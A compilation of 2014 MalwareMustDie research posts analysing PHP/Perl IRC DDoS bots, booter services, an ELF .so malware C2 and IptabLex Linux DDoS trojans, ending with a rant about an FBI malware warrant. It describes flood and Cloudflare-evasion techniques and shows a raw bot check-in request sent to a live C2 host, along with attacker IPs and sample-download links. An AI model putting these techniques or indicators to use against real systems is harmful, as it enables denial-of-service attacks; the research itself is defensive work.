Case #3: PHP Pbot(IRC) & Perl Stealth Shellbot(IRC) with their WinPE payloads
I went to the 3rd case. In this site we can find two IRC bots installed: the Pbot (PHP) and Stealth ShellCode (Perl). It looks like the site itself is started to be injected by malicious stuff from February 25-26 this year, and the Perl ShellBot was first uploaded, following by the Pbot. In these session we see WinPE payloads was downloaded using the download scripts. And then following by the compromising in March, April and May (the month this post is written) with the same M.O., using different WinPE binaries as payloads.
We exposed PHP Pbot few times in our blog already and the IRC Stealth Shellbot also a publicly known well perl bot, so nothing new about these two bots to write, and below is the screenshot of the irc connection information used to run these bots: You can see there are some files is having the same bot codes as these two, indicating the same bad actor is utilising this site over and over for their evil purpose.
The payloads & scripts were downloaded by the simple methods, here I snipped some code used to download: What about the WInPE (*.exe) binaries? What are they? Below is the hashes, is available all in VT. I will not explain in details of analysis of these samples, but will be straight forward with the evidence of internet traffic they made, as following notes:
"wo1.exe", "r.exe", "r1.exe" pingbacked to ferrino.pl or web.ferrino.pl, both in A 46.36.37.68 and sending callback encrypted data of inspected host: Same works spotted with "win32c.exe" which is trying to reach dead domain: ziarno.windows8software.net
Then "tc.exe" and "test.exe" are connecting SMTP (with TLS AUTH) to send infected environment data via poczta.o2.pl (193.17.41.99) with the recorded traffic below:
The downloads of Loader.exe, Installer.exe, in.exe were executed by the binary "wo.exe" (which was downloaded by wi.exe) and "wi.exe" as per recorded PCAP below: It downloads RAR.exe too actually during infection in client's PC.
Loader.exe sends the POST request to the GATES to download more binary file from 37.187.99.73, as per below PCAP: following with the regular pokes to CNC in same IP: 37.187.99.73:
And in the end the "in.exe and "installer.exe" are BitCoin Miner applications.
Conclusion and Samples
These cases' handling explain more options to dissect, mitigate and investigate the threat by performing the quick analysis of the sites that was popped up in the IDS alert, it will give us more IP addresses, email addresses, the account of the bad actors and their domains to tackle down this infection. So please do the same if make a thorough investigation upon a single URL that came to your watch, you will help to clean our internet by doing that.
Samples sharing will be is posted in here, all of it. Please give time for me to prepare the shares and cleaning the mess I made for this analysis first. Here's the link for downloading samples from these 3 cases (Part 1)-->[Enter Secure Code: 85980]. The archive's password is the generic common ones.
Please noted we are starting test run secure cushion for the external link, with the code provided in the link part (see the above's download link), as per announced here:
— MalwareMustDie, NPO (@MalwareMustDie) June 1, 2014
I will continue to add the report of next sites later, so stay tune! If you like this writing and find it useful, please kindly share to others too, your share is helping others to be more aware of these threats.
This writing is dedicated to fellow sysadmins all over the networks in this globe, who work hard keeping internet services running smoothly and help to clean the bad stuff, you rocks! Respect! This is the second part of the previously posted analysis here-->>[Part 1]
In this part I will discuss the FTP hacked sites reported as per below snapshots, I will call them as Case 4, 5, 6, and 7 (bonus case)
Case #4: IRC Bot PHP Pbot(s) - The evolution begins..
As per explained in the first part, there were some IRC bots detected in the abused FTP sites reported, one of the bots called pbot(s), and in this part we will explain how the IRC Bot PHP Pbot evolved. In all of the cases 4, 5, 6 and 7 there are pbots found. I guess the IDS scanner can detect some significant strings to filter this contents of these bot's codes, good job!
I made some writings of pbot we cracked in there links: [1] and [2], with or without encoding or obfuscation in its codes. I think those cases was spotted around 2012 and January 2013. Back then the pbot was having so limited "weapon" functions in attacking, which were:
- TCP Flood - UDP Flood - Port Scanning
Yes, that's it for the aggressive attack they had, TCP Flood & UDP Flood is the only DoS scheme they had back then. There are some IRC & networking related functions like "backconnect" to poke the master in some #hacker-paradise ircd waiting for the compromised sites popping up in their channels & etc IRC communication commands for the operational purpose of the bot.
Now let's we take a peek to the Case #4, in each directory "a/"or "b/" injected in the root directory of this FTP service you can find the script called li.php, and this files looks was last updated in June 1 & May 31, 2014.
This"version" of pbot is having improvement in UDP Flood attack function, as per below codes, which is supporting to the multiple scanning: ..and also the downgrade of the TCP Flood function into a TCP Connecting function:
The operation method used as a "bot" is focusing in utilizing Windows shell command execution by multiple methods in executing it, with additional a option for execution via the Perl method. Below are the snippet methods used to execute Windows shell: ..and this is how the Perl is used to perform shell execution: The shell execution methods above are then linked to the PHP "evil" functions to be used for the further operations by this pbot:
The IRC connection method used is similar as previous version, a classic method used some other bots too, with the an array as per below, containing the IRC server IP, port number, password, channel, and host's auth, with additional components to be used for forming a specific format of NICK, and USER (with using the $ident): By simulating the above information, forming a fake NICK using the stated logic, following the forming of USER name below, we can start to pretend as a bot to connect their IRC server: A simple test like below will confirm the actor's server status: It seems like China network is under abused to be utilized as IRC's CNC for this case's attacker:
Check Date: Tue Jun 3 01:21:20 JST 2014 IP: 222.216.30.28 ASN: 4134 Network Prefix: 222.216.0.0/15 AS Name: CHINANET Country: CN ISP: CHINATELECOM.COM.CN Company: CHINANET GUANGXI PROVINCE NETWORK
There are other very generic functions commonly used in IRC bots like: making PING PONG pokes, sending email using the PHP mail function, get the system environment via PHP uname, downloading stuffs to the compromised server by utilizing safe area in /tmp, etc.. which I don't explain in here since you'll see it in the samples shared too, as a very self explanatory codes.
The sample in VT is here-->>[VT] Let's move on to the next cases...
Case #5: A bummer pbot (no comment)
In this case we are dealing with the file named as bot.php . Well.. wow.. it must be a crook with a very high self-confidence or very stupid or a greenhorn skids to hack an FTP with uploading such straight forward file name. Protip: If you find this kind of file in your watched servers just please delete it without asking, or send it to Virus Total first and delete it, OK? :-) Don't worry, it must be bad, either the file or the person who named it that way.
OK, the bot.php is also a pbot with the same version as we discussed in Case #4. The difference with the previous case is the IRC connection (below pic) and the way it slices packet size for UDP Flood:
A test drive...
13:12 -!- Irssi: Looking up 120.43.64.62 13:12 -!- Irssi: Connecting to 120.43.64.62 [120.43.64.62] port 10000 13:12 -!- Irssi: Unable to connect server 120.43.64.62 port 10000 [Connection refused]
oh mai...what a bummer..
The sample in VT is here-->>[VT] OK, let's move on!
Case #6 & # 7: BTC miners & PWS PE payloads + Behold.. New fully weaponized Pbots..
This is the case where I found the Cloudflare DDoS mitigation code, as I tweeted below:
Yes, I found the function in Pbot codes, was dated, in the earliest as from March 28th and 30th, 2014.
These two FTP cases are so identical in its injected payloads, gesturing the same actors are behind these two compromised FTP incident, we'll see it later.. While both site's root directories are filled by the WinPE binaries that was shown in above screenshots in Observation part. Later on we know those as Bitcoin Miners & PWS, old stuff mostly made by VB or .NET, known malware with good detection rates, you can get the samples and feel free to analyze yourself but I must skip these analysis for having not much time to write.
And the "pub/" directories of both sites are filled with bots, just like the WinPE in the root directories, the pattern of both sites are the same, as per shown below: What I marked with the yellow color are the pbot(s) with the version that has been discussed in the Case #4, and looks like we have the evolution in version which was marked in the red color. The rest of the files will be explained separately.
Since we know the characteristic of pbot by peeking closely to their code, we can quick analyze the source of attacker in mass injection files like this with a simple grep command, to see straight to the source, in my case I grep the bellow strings:
array("server"=>"
And getting these answers for the "not so new" pbots: With extracting these IRC channel used as CNC and their channels:
So we have 4 channels in 10 IRC servers are herdering these pbots in two FTP cases, and shortly speaking, most of the IRC servers and channels are up and alive (checked & doing some investigation now..)
The ECATEL, Netherlands network in ASN: 29073 and network of 89.248.170.0/23 and 94.102.48.0/20 are completely being abused by these attacker for the IRC network CNC on these bots:
Well, we know the source of attacker. Now what is inside of the recent version of pbot and what is its difference with the previous version? Below are the explanation with the screenshots:
Basic function improved
The way they use the channel and connection are very specific: This pbot version is having a set of User Agent for HTTP purpose (DDoS), as per listed below: In this version, in forming the NICK the GeoIP codes is implemented: There are some messages in Portuguese language, advising the coder's is from country that is speaking that language.
— MalwareMustDie, NPO (@MalwareMustDie) June 2, 2014
..and a lot of etc new bot functions which is improving the quality of the previous version pretty much, you can see it in the source code that will be shared later on.
Heavily armed and dangerous..
For the attack functionality this recent new pbot version has:
I will snippet the NEW! attack function source code for the mitigation purpose with the quick explanation.
httpflood ; OK, at least now we know how user-agent is used :-)
synflood ; I personally not thinking SYN attack is new, but it is in a pbot..(at least for me) so here's the snips:
tcpflood ; Well.. this attack is not a dummy attack anymore.. Finally they figured a way to code this section :)
slowlorrisflood ; This is a DDoS method in sending packet without a haste to flood by using GET or POST, the logic is very interesting as per detailed below, the DDoS guard industries must review this code and start to make mitigation of this logic. Ref-->[link]
armeflood ; It's an attack focusing the HEAD flood request to the victims :
rudyflood ; I have no idea why this were named as "rudy" :-) But it is flooding victims with randomizing packet size and toying with the combination request Content-Length looks like the main purpose to DoS the victim's server:
cloudflareflood ; This is as per it sounds, a nasty code meant to evade Cloudflare. I tweeted this mentioning to Cloudflare to mitigate this code as soon as possible. Below is the attack logic: If you see the CURL command used in above functions, is the homemade function actually:
"Data Cha0s Connect Back Backdoor"; Wow..what a name! :D This evil code is actually hidden in conback($ip, $port) function here: The logic is simply decoding & save the base64 blob into a .pl file, and executing it by perl. What was decoded is actually a SHELL in Perl:
I think that's it for the recent Pbot. The virus Total detection is as following result in each samples spotted: [-1-] [-2-] [-3-] [-4-]
The last mistery to solve is HOW the WinPE binary got into the root of this FTP server. It is answered by the rest of scripts located in "/pub", which are win.php. test.php and wink.php. These scripts looks like a helper of the pbot, to be executed for downloading the other files as per commanded by the bot herder. Well, the codes says thousand words, please see below snippets: You can see the multiple method used to download those binaries. Mistery is solved :-)
Conclusion, infected IP, VT and samples
So now we see how much we can get by investigating only several URLs. Every alert is worth to investigate as deep as this (or I may say I expect deeper since I do this after day work only). You will never know what you will find unless you dive-in to it. Thank's again to "Yin" for allowing me to write this to raise awareness.
The PHP IRC pbot itself evolved from the to be a dangerous threat since the first time we covered 2 years ago. However the nature of itself is the same, like using PHP ..yet using Perl also, the way it connects the channel, and so on.. So it is very good to know each bots characteristic. Pbot is now weaponized with many L7 DDoS attack pattern.
If you take a look into the www.digitalattackmap.com link-->(here) to view the current on going DDoS attack traffic to USA and it sources. I snapshot the map as per shown below, you will see that the countries related to the source of attackers disclosed in this series of posts is matched and I marked them in red circles in the map below: I have no doubt that this findings is actually disclosing groups of DDoS attacker "skids".
I must urge to investigate deeper the IRC channels and the individuals who are running this L7 DDoS show, the ID is all there and is not a hard thing to infiltrate, so if you are familiar enough with IRC you can join our mission in visiting these servers to gain more intel that can get into a cyber crime cases to teach these skids a lesson.
Samples are shared in this URL with the secure code-->>[Secure Code: 110369]
The overall Part 1 and 2 mentioned compromised FTP information we announced as per below FTP url, IP addresses, Network Information and GeoIP. For the purpose to ask your help to clean up these infection;
200.72.244.167, Santiago, Chile, SA 200.27.146.162, Santiago, Chile, SA 192.210.235.101, New York, United States, NA 37.187.99.73, , France, EU 188.165.74.149, , France, EU 37.59.68.30, , France, EU 204.44.81.9, , United States, NA 79.114.113.196, Timisoara, Romania, EU
It's been a long writing, if you think it is useful and can help others, do not keep this information to your self but spread it out, it is good to make more sysadmins aware of these details. Stay safe, folks!
After visiting some hacked FTP sites as per reported in the previous posts, I figured out connection that some IRC scripts running leads to the group/individuals performing a DDoS'er attack services. I personally found it interesting to check thorough and deeper to its source, so this weekend I made a visit to DDoS'er as services with some records on of their malicious activities. The reason is simply investigation to confirm some segment of IPs gathered from previous cases to these services. During the trip I made memo in here and there so this post will gather it all for the easier search. So it is not about bragging anything to anyone, just a share.
DDoS as Service
DDoS and their services are not a new stuff. These services are cleverly hiding their maliciousness under the words of "for education" or "for tester" and so on, in their promotion or TOS statement written in their public home pages or via description in the demonstration videos they uploaded to some video sites. However, if you see some XXX and YYY communities where hackers are gathered, these services are making strong campaign in a very different tone, the usage of terms like "powerful", "hit", "takedown" and so on came up in the surface that are suggesting attack tools in promotion. Further, we can see screenshots of "success attack" in real cases that were openly shared to proof how "powerful" their services are. The video posted in here will explain more than words of the previous statements. So the market is there, with youngsters are in majority, and we can say it is a fruitful steady money to catch, explaining the competitive promotion.
Among tons of "DDoS'er As Service" spotted, the below list is some that I picked to study. I extracted their campaign and details information in the snapshots of campaign images & videos in the next section, some are including a bit of comments.
NetGuard Big Bang Booter Critical Stresser Wrath Stresser Apocalypse Stresser Titanium Stresser
Collected Items
For MMD friends' who like this collection, I gathered some of the campaign materials they are using. Well, they really love to use a real (literally..in size) long promotion which mentioning similar terms in pricing, duration on service and TOS. With reckoning one same term that they all used: a no refundable payment :-)
In a short limited time I can managed to compile videos of these services that contains the demonstration (to be clear: is what they provided, not me), is a quite good reference for learning what these are actually about:
Some DDoS/Stresser/Booter terms to know..
I also learned a "trend" of terms used by these DDoS'er services with the explanation collected below which can be used as quick reference for the attack method or in the scripts that they are using during checking infected sites by these attacker's front end tools :
1. UDP Flood
Is a DoS to flood the target with the varius combination of UDP packet, a sessionless/connectionless computer networking protocol. Thi sattack is effectively working for the home connections. UDP flood are applified by script (program) and that can be amplified to over 20Gbps, practically to make the target is as good as offline.
2. Chargen
Chargen is another UDP type flood attack, working effectively on using port 8080 for optimal results. This atack is generated by Chargen script logic (PHP/Perl/C) that can be amplified over 20Gbps. The target is the Chargen (port 19) service which derrives the name, can be spoofed into sending data from one service in a computer to another service on another computer. This attack can consume incleasing amount of network bandwith causing loss of performance or a total shutdown of the affected network segments. This attack can disable a unix server by causing it to spend all of its time processing UDP packets that it has echoed back to itself.
3. UDPLag:
Just like UDP flood but this attack will not hit the target offline, instead it will make them lag.
4. ESSYN Flood
Applified spoofed SYN attack that abuses the TCP 3-way handshake by never responding to the target's TCP confirmation response, made it wait for the handshake done indefinitely.
5. Slowloris
An extremely useful method of attack to webservers running Apache, Tomdat and GoAhead. By keeping as many as possible connections open for as long as possible by only sending partial requests and thus blocks access to the server for other clients.
6. Rudy (R U Dead Yet)
By sending small packets of 1 byte through a HTTP POST request it will force the connection with the server to stay open. RUDY is harder to detect and prevent.
7. ARME
ARME is considered a layer 4 attack method. It is pretty strong due to it eats up all of the SWAP memory of a servers runs Apache, eventually letting it flood the HDD resulting into out of operation and the server services will be shutdown.
8. Resolver
This is not the attacker techniques but the common function of the DDoS'er tool that exists in the market nowaways to resolve (8.1.) Real IP address of the Host protected behind the Cloudflare service, (8.2.) Real IP address of the Skype users, to perform the above attacks.
Epilogue
In the end, this information hopefully to explain how DDoS is served and how DDoS is always on operation. Also how some of these services are wrapped with a simple GUI to be used for the attack. Suspending domain or mitigating DDoS services like these is not making much effect, and we need more firm act to stop individuals and infrastructure used to perform it. They are using common domains, web sites, even YouTube for promotion, moreover some of them are using known DDoS protection service to guard their DDoS'er sites (see below picture), it's just went too far, and maybe now is a right time to say "STOP". But stopping these are easy to be said than done. I was thinking that maybe we need to push this awareness more to raise the importance in making a smoother scheme to fight this threat, hoping this post and other similar previous posts by others of this issue can escalate the process.
Kudos twitter friends with great comments!
Thank's to DOMAIN.ME & PW Registry for the instant suspensions. Thank you so much to these cool IT guys: @cesi0_ @DarkSunsetSX @NotBluntMan @BugTracK @LibidinousPrick @jedisct1 @VriesHD @whalezeye and all friends that favorites and RT, for the great support & comments during the trip (see below). And to MMD team: @essachin @malm0u53 @wirehack7 @MichalKoczwara for the support & for tango help!
. @MalwareMustDie thanks for letting us know! We've started the investigation.
I haven't got enough time to write a beautiful report about this incident, please kindly bear with the textual paste format at the moment. This is an important incident report, progressing the the massive infection malware case that was initially reported in here-->>[MMD Blog] . The latest reported incident before this one is here-->>[MMD Pastebin]
Raw text of current incident report is in here -->>[MMD Pastebin] and-->>[MMD Pastebin], and below is the textual contents:
MalwareMustDie NEW Report of .SO ELF Malware attack incident. date: Wed Jun 11 06:38:13 JST 2014 Analysis by @unixfreaxjp - Report & source investigation thx to: yin Case: http://blog.malwaremustdie.org/2014/05/elf-shared-so-dynamic-library-malware.html CNC is ALIVE in : "89.45.14.64 (VOXILITY, ROMANIA)" ATTACKER SOURCE IP: "103.31.186.33 (VOXILITY, ROMANIA) & 31.202.247.234 (Leased line ISP Format, UKRAINE)"
// Jinxed code installer PHP scripts in pastebin: http://pastebin.com/z1K8jxKJ http://pastebin.com/Pbsk3ZXU
// Malware Binaries extracted from installer PHP: https://www.virustotal.com/en/file/c28e2ebc5046c1a03a8f689b757cf2a90d021eeaa0a5e9ec91aa33c76ee6237f/analysis/1402437331/ https://www.virustotal.com/en/file/af71138bc3b2e70fd1d8fd33c31a4707d686d893661a331aee68f223348e164e/analysis/1402437372/
//------------------------------------- // CNC ANALYSIS // Using knowhow from: http://blog.malwaremustdie.org/2014/05/elf-shared-so-dynamic-library-malware.html //-------------------------------------
// Extract the bins w/ template: $ date Wed Jun 11 04:12:11 JST 2014 $ $ php ./sodump-template.php SO x32 dumped 26848 SO x64 dumped 27288 MO x32 dumped 26848 MO x64 dumped 27288 $ $ ls -alF total 600 drwxrwxrwx 2 xxx xxx 512 Jun 11 04:12 ./ drwxrwxrwx 13 xxx xxx 512 Jun 11 03:59 ../ -rw-r--r-- 1 xxx xxx 26848 Jun 11 04:12 "libworker1-32.so" -rw-r--r-- 1 xxx xxx 27288 Jun 11 04:12 "libworker1-64.so" -rw-r--r-- 1 xxx xxx 26848 Jun 11 04:12 "libworker2-32.so" -rw-r--r-- 1 xxx xxx 27288 Jun 11 04:12 "libworker2-64.so"
$ md5 lib* MD5 (libworker1-32.so) = 15584bc865d01b7adb7785f27ac60233 MD5 (libworker1-64.so) = f9aeda08db9fa8c1877e05fe0fd8ed21 MD5 (libworker2-32.so) = 15584bc865d01b7adb7785f27ac60233 MD5 (libworker2-64.so) = f9aeda08db9fa8c1877e05fe0fd8ed21 // noted see only one x32 and one x64 binaries used for multiple injection..
POST /kuku/theend.php HTTP/1.0 Host: erstoryunics.us Pragma: 1337 Content-Length: 84
R,20130826,64,0,,UNIX SCO System - MalwareMustDie Bangs Moronz CNC, HTTP/1.1 200 OK Date: Tue, 10 Jun 2014 22:12:22 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 6 Connection: close Content-Type: text/html; charset=UTF-8 R,200
// CNC INFO (NETWORK & GEOIP)
$ echo `dig +short erstoryunics.us`|bash origin.sh Wed Jun 11 06:28:03 JST 2014|89.45.14.64||39743 | 89.45.14.0/24 | VOXILITY | MD | - | IM INTERNET MEDIA SRL IP Address, City, Country Name, Latitude, longitude, Time Zone 89.45.14.64, , Romania, 46.0, 25.0, Europe/Bucharest
//------------------------------------- // ATTACK TIME RANGE: //-------------------------------------
$ whois 31.202.247.234 % This is the RIPE Database query service. % The objects are in RPSL format. % % The RIPE Database is subject to Terms and Conditions. % See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered. % To receive output for a database update, use the "-B" flag.
% Information related to '31.202.192.0 - 31.202.255.255'
% Abuse contact for '31.202.192.0 - 31.202.255.255' is 'abuse@maxnet.ua'
inetnum: 31.202.192.0 - 31.202.255.255 netname: FORMAT-TV-NET-5 descr: MSP Format Ltd. country: UA admin-c: FA4288-RIPE tech-c: FA4288-RIPE status: ASSIGNED PA mnt-by: FORMAT-TV-MNT mnt-domains: FORMAT-TV-MNT mnt-routes: FORMAT-TV-MNT source: RIPE # Filtered
I think some of Linux sysadmins and malware researchers already know this issue well by reading references in sysadmin/linux forums or reported incident in works, or maybe facing this problem them self. Since the wave of attacks are still spotted and hitting several services with the known webapp vulnerabilities, yet there are no complete verdict details of the threat (yet), we feel it's important to raise an alert on this subject in MMD post as advisory to help fellow admins who may google info of this threat with hoping this may help giving thorough explanation. The recent vulnerability that was exploited to spread this malware infection is a per tweeted here:
Maybe some of us think that DDoS tools are just only infiltrating victim sites with some kids attemting to hack on unattended sites & installing their bots written in IRC Perl/PHP DDoS'er scripts. This post is a good reading for you who think that way, since it explained a more serious threat using ELF DoS binaries specifically built to conduct DDoS action in hacked Linux servers via serious root exploitation method in each infection. This threat is known as the infection of .IptabLex and .IptabLes ELF #DDoS backdoor trojan (malware). The infection was coming from China, and is world-wide now, hitting various Linux based services with new flaws in vulnerability and giving problems to some of us. Here goes the details..
The worldwide incidents reported
First, how is the coverage of this infection? Below is the list of reported incidents of the current threat world wide, I followed & collected in chronological basis, all are referring to the same binary sets and similar infection modus operandi. Infected server's distributions are varied like Debian, Ubuntu, Slackware, CentOS to Redhat, via vulnerability in server application like Tomcat, Elasticsearch, Apache struts etc. But all of them are informing same vector of hack in code injection vulnerability. FYI. No, we have not seen any FreeBSD or Mac OS X based server as victim (yet).
Jan 13 2014 at 15:26 (CHINA) [link] Jan 18 2014 at 19:11 (EUROPE) [link] Apr 10, 2014 (N/A) [link] Apr 25, 2014 (N/A) [link] May 4 2014 (HUNGARY) [link] May 8 2014 (USA) [link] May 12 2014 (US) [link] May 25, 2014 (N/A) [link] May 27, 2014 (VIETNAM) [link] May 27, 2014 (N/A) [link] Jun 3, 2014 (EUROPE) [link] Jun 4, 2014 (N/A) [link] Jun 8 2014 (EUROPE) [link]
Source of threat
The origin of the threat is coming from China, which can be technically described in the next analysis sections, but there are so many report posted about the threat in China sites with this reference -->>[here]
.@SeraphimDomain@virusbtn The highlights "IptabLe(s|x) ELF infection is they aim Apache base: Struts,Tomcat & Elasticsearch to exploit root
— MalwareMustDie, NPO (@MalwareMustDie) June 16, 2014
The symptoms of infection
An infected linux host will suffer the root privilege escalation and installed with the malware sets as per below details.
Malware main files will be located in either /boot or /usr as per below. It firstly tried to write in /boot , if fail the malware will be saved in /usr.
/boot/.IptabLes /boot/.IptabLex
Or..
/usr/.IptabLes /usr/.IptabLex
The malware will be accompanied by the autostart script:
$ ll -a /boot/Ip* IptabLes -> /etc/rc.d/init.d/IptabLes IptabLex -> /etc/rc.d/init.d/IptabLex
While the first two are the malware binaries them self, following by the autostart scripts. Usually the infected host is having both binaries. The bigger size one is the newer and "advanced version", and the smaller one is limited version.
In some cases the "advanced" versions is having runtime problem and created segmentation fault (crash) as per lsof below:
This malware is the DDoS bot ELF malware variant, with a bot backdoor function connected to the CNC which sending them instruction to attack targeted hosts by SYN Flood or DNS Flood DoS techniques. It was autostarted as daemon everytime the host's services started.
So far we see no RAT (Remote Access Trojan) functionality spotted unless for the specific DoS bot functions, and also no sign of rootkits/system environment deletion detected except the additional of autostart scripts. The deletion process of this malware can be performed safely by execution of the below commands:
IptabLes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped IptabLex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
With noted:
- There is no dynamic section in this file. - There are no section groups in this file. - There are no relocations in this file. - There are no unwind sections in this file.
The header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048110 Start of program headers: 52 (bytes into file) Start of section headers: 648072 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 5 Size of section headers: 40 (bytes) Number of section headers: 39 Section header string table index: 36
The smaller size and big size is different in Symbol table '.symtab' entries, if you diff the table functions, the newer version (the bigger in size) is suggesting the "advanced mode" version with the "pro" features:
2030: 08049750 130 FUNC GLOBAL DEFAULT 3 CheckPro 1946: 08049820 40 FUNC GLOBAL DEFAULT 3 AddProList 1022: 080496c0 39 FUNC GLOBAL DEFAULT 3 FreeProList 1671: 08049850 106 FUNC GLOBAL DEFAULT 3 CreateProlist
..and also having more additional "features":
424: 0806816e 13 FUNC LOCAL DEFAULT 3 _L_lock_30 425: 0806817b 10 FUNC LOCAL DEFAULT 3 _L_unlock_120 1022: 080496c0 39 FUNC GLOBAL DEFAULT 3 FreeProList 1081: 08068190 159 FUNC GLOBAL DEFAULT 3 __getdents 1162: 08049950 191 FUNC GLOBAL DEFAULT 3 FindPtr 1242: 080676f0 107 FUNC GLOBAL DEFAULT 3 __strncasecmp 1258: 0804ca20 442 FUNC GLOBAL DEFAULT 3 killpeofnames 1379: 080680c0 174 FUNC WEAK DEFAULT 3 readdir 1381: 080d40c0 0x5aadd OBJECT GLOBAL DEFAULT 22 filebyte 1438: 080676f0 107 FUNC WEAK DEFAULT 3 strncasecmp 1632: 08049a10 57 FUNC GLOBAL DEFAULT 3 FindCptr 1670: 080680c0 174 FUNC GLOBAL DEFAULT 3 __readdir 1760: 08049be0 208 FUNC GLOBAL DEFAULT 3 WriteToFiles 1785: 08050060 325 FUNC GLOBAL DEFAULT 3 __deallocate_stack 2041: 080d40a0 4 OBJECT GLOBAL DEFAULT 22 constfilesize 2052: 0804c720 106 FUNC GLOBAL DEFAULT 3 tttaaa 2209: 0804c6c0 82 FUNC GLOBAL DEFAULT 3 mystristr 2212: 0812ebc0 576 OBJECT GLOBAL DEFAULT 22 tttxsa
Reverse Engineering Highlights
These are the source codes file list of this malware in C language:
Reversing this malware is interesting, and overall reverse effort was taking longer time than I thought. In this highlight I will guide you to the best way to go to the malicious code PoC the verdict the DoS activities. After choosing your best disassembler, I suggest you start trailing the function in address .text:0804DA40 called startmain() to find the good trail that can lead you to the DDoS functions (the verdict) soon:
public startmain startmain proc near var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp push edi mov edi, offset aBoot_iptables ; contains "/boot/.IptabLes or Iptablex" push esi push ebx :
You should find the PID and its locking can be followed afterwards from .text:0804DAF5 (for the checking are you trailing the right path..):
Followed by the fork function at .text:080533B0 below:
fork proc near push ebp mov ebp, esp pop ebp jmp __libc_fork fork endp
Seek the calls lead to this function's start addeess (0x80533B0) and you will see the main DDoS function directly referring to it:
SynFloodThread DnsFloodThread
The above functions are DoS function which can be reversed as per here-->>[Pastebin] and here-->>[Pastebin], which can be breakdown deeper in how the SYN or UDP packets were formed, randomization of size and the build then followed by the sending thread. The details of those sub functions I will not cover here since it is going to be very long (but please feel free to comment for requests), and the pastebins showed enough evidence of the attack act performed by this flooder.
Let's moving on. In the .rodata:080B3360 you'll find the URL that the malware use for "test purpose", which can help PoC'ing the origin of this malware w/o much heavy reversing:
As you can see, three of the listed sites are Chinese web sites. The other things that can help to ID is the multilanguage Linux trace detected and the way it compiled the binaries (based on previous reference of similar threat from same origin, it is typical)
More malicious activities on the update server's data (link) which clearly show the fetch for updates then save it and deleting those upon done, infected host's sensitive information taken (link), getting networking information of the infected host (link), and hard coding installation of autostart scripts and installation steps (link) which PoC'ed all of the symptoms written above. For the own data handle itself this malware uses a compression logic with the decompression logic that's so "spaghetti coded" like the image below: ..with the code can be viewed here (link) ; Note: All reversed snips can be viewed in each shown disassembler links.
Analysis Samples & Virus Total
Samples are all in Virus Total already with the below hashes, under detection ratio between 3/54 to 8/54:
4baf340e3701b640ad36fb8f606e2aa7f494dd34dc3315c0943f3325c7766f80 a65f430a03c3717250d15d5745ec7c36a60962ae6473938ee545a0267b6857a4 86f34d9974f42ed557f4ae998da50af04b04b03c7e5cf01279ad1ca6bbb4ab1a fa5e8571c93abbaf7014c9fcecffedeffdac0a3a15d459036fb149a47dfcfb61 d3dafa7f23858711a5fbc195f934b6891114e44d23c86796b2c042f1c2b6e026 ec546a0084120070ee0ea6f00673e42ca13c85f5bd8375a4e62d88541152de6d (thank's to "Angel Hun" for the last two samples!)
For fellow researchers, sysadmins or IR friends, I am sharing samples below:
That can be downloaded here-->>[MMD Mediafire] with the usual password.
For the questions and comments are welcome. I need more samples of the recent incidents, if you happen to know ones please help to send us the sample via the DropBox link in the right panel in our (this) blog menu. The comment with the sensitive information or privacy will not posted. With thank you in advance.
I think all American friends know exactly what will InfoSec people react to this "search warrant" (see twitter embedded below). Like it or not, I am a part of InfoSec non-"AmericaIn" faction and feeling VERY upset about this privacy-violation-anarchism.
Don't preach us anymore about the story of "freedom of speech", liberalism, human rights and privacy BULLSHIT, as non-"AmericaIn" we see that your government doesn't even care about thousands multinational people's privacy just to nail some crooks, people's rights are getting ripped from them as "disposable casualties / items" by this warrant and AND THAT IS WRONG! and this is the malicious verdict-->[HERE] with payload here-->[HERE]
This strategy (linked-->HERE) is not only against privacy, which was recognized to be violated significantly since the disclosure of "the Snowden issues", but the worst part of the problem has ESCALATED now.. This search warrant was LEGALIZED and will motivate bad people to use malware methods more! (hidden frame, drive-by-download, installing payloads, callbacks to CNC.. these MO ring any bell??) This is VERY principled matter to us.
@ejhilbert@csoghoian@ubentobox You missed the punchline. They are using those "regular warrants" to infect everyone visiting the website.
How we as MMD suppose to suppress malware growth now IF a court order (linked-->HERE) from a country that created internet is PUBLICLY(I said publicly since that warrant is searchable and viewable w/o secrecy)has legalized the usage of malware??
There are still more options to dig up & use, there are also tons of good folks who are willing to help the FBI to nail crooks connected via Tor connection, yet WHY has the nastiest counteroffensive been chosen?? The Feds can come to us for examples and we can show them interesting ways to track the bad Tor users WITHOUT USING MALWARE!
To @FBI why you must use driven-by-download #malware for THAT? There're still many other options w/o violating privacy+utilizing bad method!
This is going to be written in the history of malware, like, "In 2014 2012 US Court publicly issued search warrant to allow the FBI to use "malware method" on ..etc etc etc.."< How does it sound? (Thank's for the "friend" initialed AP who contacted and correction the date! )
@ejhilbert If the FBI is running arbitrary code in on my computer, and doing so requires a browser exploit, they're using malware.
I am off the field then, pick up some other player to play in this nasty game, this is just aWAY OUT OF LINE for me now. Ah, yes, BTW, you can expect me to STOP sharing malcodes and samples to US's entities .GOV, .MIL or .EDU as I am AFRAID those evil technology will be misused for the similar purpose ....or worse!
I still can't believe my eyes after reading and checking the facts, I KEEP MY FAITH for you guys, that FAITH was all that supported our research and sharing, our heartbeats...and you RUINED that faith now, what is BAD is just BAD..no matter what excuse is given to use it, WTF!
Unless something will be done accordingly from the US's side to put the perception back in the right place, this will be my last post on our belovd internet as malwaremustdie.
Oh yes, I am damn serious about everything I wrote!
So that's your excuse to legitimate the wrong perception that your country's court legalized? Russian or China government NEVER issue warrant to legalize any malware. And you are saying something like: "if a scum can do a scum acts.. meaning good folks can do as scum does too? No way, friend. I was called as "vigilante" for the things that I didn't even done, what would THIS mass-infection of malware & public privacy exploitation be called then??
